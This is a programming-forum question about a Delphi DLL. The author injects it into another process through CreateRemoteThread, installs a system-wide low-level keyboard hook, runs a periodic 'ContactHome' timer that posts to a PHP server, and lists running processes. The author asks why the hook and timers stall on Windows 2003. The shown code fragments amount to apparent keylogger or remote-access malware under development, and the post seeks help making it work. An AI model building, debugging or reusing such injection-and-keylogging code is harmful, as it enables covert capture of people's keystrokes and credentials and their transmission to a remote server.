title: SetWindowsHookEx inside Thread instability
body: <p>Ok guys, I'll try to explain my problem in a very complete form. I'm using one DLL injected in another process (injected using VirtualAllocEx/WriteProcessMemory/CreateRemoteThread but this don't really matter) and this DLL when run in the EntryPoint have only one thing:</p>
  
  <pre><code>procedure EntryPoint(Reason: integer);
  begin
    if Reason = DLL_PROCESS_ATTACH then
      begin
        MyMainThread.Create;
      end
  </code></pre>
  
  <p>Ok, so all my work is being done inside this MyMainThread (TThread)... What I do in MyMainThread is basically set 2 timers, and hook the keyboard events using SetWindowsHookEx (WH_KEYBOARD_LL). Everything is working fine when separately, this is: or the SetWindowsHookEx or the 2 timers... <strong>When I get both things together for some unknown reason the hook works for few characters typed in keyboard (less than 10) and the timers just stops, but the MyMainThread doesn't terminate.</strong> My tests on Windows 7 / 2008 was perfectly, but when running in Windows 2003 the problems started. MyMainThread Execute is this:</p>
  
  <pre><code>procedure MyMainThread.Execute;
  begin
    while not Terminated do
      begin
        MyThread:= Self;
        StartKeyboardHook;
        StartUp;
        SetTimer(0, 0, 600000, @MyMainThread.ContactHome);
        SetTimer(0, 0, 40000, @MyMainThread.MapProc);
        CreateMessagePump;
      end;
  end;
  </code></pre>
  
  <p>The 2 timers and the 'StartUp' do things like contact one php via Indy doing POST/GET requests, list the processes running, and things like this... And the StartKeyboardHook is simple like this:</p>
  
  <pre><code>procedure MyMainThread.StartKeyboardHook;
  begin
    if llKeyboardHook = 0 then
      llKeyboardHook:= SetWindowsHookEx(WH_KEYBOARD_LL, @LowLevelKeyboardHook, HInstance, 0);
  end;
  </code></pre>
  
  <p>As you can see, this StartKeyboardHook is inside MyMainThread and llKeyboardHook/LowLevelKeyboardHook are global var/method... If I put LowLevelKeyboardHook procedure inside the thread just don't work the hook. I believe the problem is not in my LowLevelKeyboardHook (the code itself) because as I said, if I don't setup the 2 timers, the hook works perfectly, but if you want I can post it here. As I said, the hook is started inside the thread, but the callback procedure and hhook variable are global (maybe that's the problem)... The CreateMessagePump (last call in thread's Execute) procedure is necessary for the timers and for the hook, since it's LowLevel hook I need a message queue. Why am I getting this instability (for what my tests show only in Win2k3), and if I put only Keyboard Hook without timers, or only timers without hook, everything works?
  The MessagePump is:</p>
  
  <pre><code>procedure MyMainThread.CreateMessagePump;
  var
    AppMsg: TMsg;
  begin
    while GetMessage(AppMsg, 0, 0, 0) do
      begin
        TranslateMessage(AppMsg);
        DispatchMessage(AppMsg);
      end;
    //if needed to quit this procedure use PostQuitMessage(0);
  end;
  </code></pre>